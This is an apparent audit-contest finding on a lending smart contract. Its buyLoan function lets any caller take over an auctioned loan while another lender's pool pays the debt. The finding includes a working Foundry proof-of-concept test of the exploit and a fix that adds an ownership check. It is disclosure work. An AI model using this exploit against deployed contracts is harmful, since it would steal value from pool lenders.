20,000 USDC
View results
Submission Details
Severity: high
Valid

User can buy a loan for free without owning a pool

Summary

User can buy a loan for free without owning a pool.

Vulnerability Details

User calls buyLoan(…) function to buy a auctioned loan.
It requires user pass a poolId and the loan debt will be deducted from the pool's balance:

_updatePoolBalance(poolId, pools[poolId].poolBalance - totalDebt);

Then user will own the loan:

loans[loanId].lender = msg.sender;

However, it does not check if caller owns the pool and anyone can buy the loan without paying the debt.

Please see the tests:

function testAuditBuyLoanForFree() public {
test_borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
// Malicious user buys the loan without owning the pool
address maliciousUser = address(111);
vm.prank(maliciousUser);
lender.buyLoan(0, poolId);
// Malicious user owns the loan now
(address lender,,,,,,,,,) = lender.loans(0);
assertEq(lender, maliciousUser);
}

Impact

  1. User can buy loan for free;

  2. Pool lender suffers a loss.

Tools Used

Manual Review

Recommendations

When user buys a loan, it should check if the caller owns the pool.

function buyLoan(uint256 loanId, bytes32 poolId) public {
+ if (pools[poolId].lender != msg.sender) revert;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!